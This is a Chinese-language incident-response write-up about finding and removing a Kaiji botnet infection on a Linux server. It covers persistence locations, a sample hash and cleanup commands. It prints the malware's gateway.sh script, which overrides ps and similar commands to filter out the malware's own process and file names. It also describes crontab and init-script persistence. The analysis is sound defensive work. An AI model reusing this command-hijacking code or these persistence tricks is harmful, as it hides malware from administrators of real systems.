文章总结: 本文记录了一次Kaiji病毒的应急响应实战。排查发现病毒通过篡改系统命令、写入启动项和计划任务实现持久化。文章列出了bash.cfg、gateway.sh等恶意文件路径,分析了命令劫持与隐藏挂载等对抗手段,给出了解锁文件属性、使用原生命令绕过劫持等处置建议,对排查同类僵尸病毒具有较高参考价值。 综合评分: 86 文章分类: 应急响应,恶意软件,实战经验,终端安全
【应急响应】记一次kaiji病毒查杀
原创
xxs00 xxs00
凌霜雁安全志
2026年3月6日 14:46 湖南
问题发现
在防火墙上发现外联恶意网站
排查流程
病毒会篡改系统命令,目录/etc/profile.d,其中gateway.sh为篡改文件 ,使用/usr/bin/ls -al查看。
stat查看文件的具体详情,可以看到change中文件落地时间为2024-7-13,可判断系统2024-7-13日感染kaiji病毒。
将gateway.sh文件移至tmp目录下,重新登陆,即可使篡改失效,病毒文件高亮显示,其中bash.cfg是病毒自复制文件,用于启动病毒样本,大小为5.2M,bash.cfg.sh用于启动bash.cfg,全部移动到tmp下。
启动项中,存在dns-udp4,是病毒植入各个级别启动项的文件,用于启动system.pub,位于目录/etc/init.d、/etc/rc.d、rc[0~6]。
dns-udp4的具体内容,system.pub也是病毒自复制文件,用于启动病毒样本。
在rc.local下,可以发现启动/usr/sbin/netstat.cfg,这个文件也是病毒的自复制文件,用于启动病毒样本。
计划任务/etc/crontab中,可以看到每分钟启动/.mod文件的定时任务。
/.mod用于启动/usr/lib/libgdi.so.0.8.2,这是伪装成so的病毒自复制文件,用于启动病毒样本。
在/etc/init.d目录下的文件中,病毒会遍历,在每条if..then后面插入/lib/system.mark,/usr/lib中还存在system.mark,同样是病毒自复制文件。
此次排查在/tmp下所有的病毒文件,共9个
病毒入侵时间在2024-7-13,日志被覆盖,无法溯源。
小细节
1、病毒会通过mount挂载自身,无法查看网络连接pid
通过命令 cat proc/$$/mountinfo | grep proc 查看隐藏挂载,其中/proc/1111这种纯数字大概率为恶意挂载
通过命令 unmount /proc/PID 接触挂载即可
2、病毒文件被赋予ia属性
a:追加锁;i:不可变锁
lsattr /etc/profile.d/gateway.sh 查看文件属性
chattr -ai /etc/profile.d/gateway.sh 解除文件ai属性
kaiji病毒总结
1、病毒概述
Kaiji 病毒是一种针对 Linux 系统的恶意软件变体,2020 年左右首次被发现。主要通过 SSH 暴力破解传播,利用弱密码入侵系统,将设备转化为 DDoS 僵尸网络,同时可能引起僵尸网络、进行挖矿或横向传播,其变体至今活跃于云服务器和暴露 SSH 服务,常伪装成系统文件或进程以逃避检测。
注意:感染kaiji病毒后通常也伴随xmrig,kswpad等其他病毒,注意排查。
2、样本哈希值
SHA256:66d9d837015f3f840418f5b61ce78c7fa8648e9b1b3f949c3c6a0c7d3b28ad75
其他已知哈希:根据威胁情报平台,可能有多个变体哈希。所有病毒文件的大小通常为 5.2 MB,且 MD5 值相同。病毒文件即使被删除,也会通过其他组件重新释放,并外联 C2 服务器接收指令。
3、病毒常见的恶意文件
注:以下仅为病毒常见文件,可能存在变种名称
| 文件名称 | 常见路径 | | — | — | | .mod | /tmp | | gateway.sh | /etc/profile.d | | bash.cfg / bash.cfg.sh | /etc/profile.d | | libgdi.so.8.0.2 | /usr/lib | | dns-udp4 | /etc/init.d | | system.mark / system.pub | /lib、/boot | | netstat.cfg | /usr/sbin/ | | /tmp/aarch64 、 /tmp/adm64 | /tmp | | quotaon.service | 伪装成系统磁盘配额服务 |
3、入侵感染流程图
从入侵到下载 /tmp/amd64 的初始阶段。通过 mount 隐藏文件。 自复制四个恶意文件,并通过各个配置文件拉起。 生成持久化文件 /.mod、gateway.sh、dns-udp4。 修改配置文件插入拉起命令。 伪装服务和命令劫持。
4、篡改命令机制
病毒通过 gateway.sh 脚本实现命令劫持。该脚本定义了多个函数,覆盖常用系统命令,并使用 sed 过滤输出,删除病毒相关条目。脚本内容如下
#!/bin/bashfunction ps { proc_name=$(/usr/bin/ps $@); proc_name=$(echo "$proc_name" | sed -e '/\/usr\/bin\/include\//d'); proc_name=$(echo "$proc_name" | sed -e '/dns-udp4/d'); proc_name=$(echo "$proc_name" | sed -e '/quotaon.service/d'); proc_name=$(echo "$proc_name" | sed -e '/system.pub/d'); proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d'); proc_name=$(echo "$proc_name" | sed -e '/.mod/d'); proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.2/d'); proc_name=$(echo "$proc_name" | sed -e '/system.mark/d'); proc_name=$(echo "$proc_name" | sed -e '/netstat.cfg/d'); proc_name=$(echo "$proc_name" | sed -e '/bash.cfg/d'); proc_name=$(echo "$proc_name" | sed -e '/system.pub/d'); echo "$proc_name"; }
类似函数定义netstat, dir, ls, find 等命令。 当用户执行 ls 等命令时,会调用原命令但过滤掉病毒文件(如 dns-udp4、libgdi.so.0.8.2),增加排查难度。伪装文件如 netstat 会覆盖系统工具。 将 gateway.sh 移动到 /tmp 目录下,然后重新连接服务器,使其失效。或使用原生命令如 /usr/bin/ls 可以绕过劫持,发现隐藏文件。
5、主机安全扫描
参考链接:
https://blog.csdn.net/2301_81464130/article/details/142979459
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:凌霜雁安全志 xxs00 xxs00《【应急响应】记一次kaiji病毒查杀》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论